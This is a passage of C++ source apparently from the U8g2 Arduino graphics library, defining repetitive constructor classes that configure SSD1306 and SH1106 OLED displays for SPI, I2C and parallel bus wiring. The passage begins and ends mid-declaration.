U8G2_SSD1306_96X40_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X40_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X40_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X40_2_6800 : public U8G2 { public: U8G2_SSD1306_96X40_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_2_8080 : public U8G2 { public: U8G2_SSD1306_96X40_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X39_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X39_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X39_2_6800 : public U8G2 { public: U8G2_SSD1306_96X39_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_2_8080 : public U8G2 { public: U8G2_SSD1306_96X39_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X40_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X40_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X40_F_6800 : public U8G2 { public: U8G2_SSD1306_96X40_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_F_8080 : public U8G2 { public: U8G2_SSD1306_96X40_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X39_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X39_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X39_F_6800 : public U8G2 { public: U8G2_SSD1306_96X39_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_F_8080 : public U8G2 { public: U8G2_SSD1306_96X39_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X40_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X40_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X39_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X39_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X39_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X40_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X40_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X40_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X39_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X39_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X39_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X40_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X40_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X40_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X40_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x40_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X39_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_96X39_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_96X39_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_96X39_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_96x39_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_NONAME_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_NONAME_1_6800 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_NONAME_1_8080 : public U8G2 { public: U8G2_SH1106_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_6800 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X64_VCOMH0_1_8080 : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t 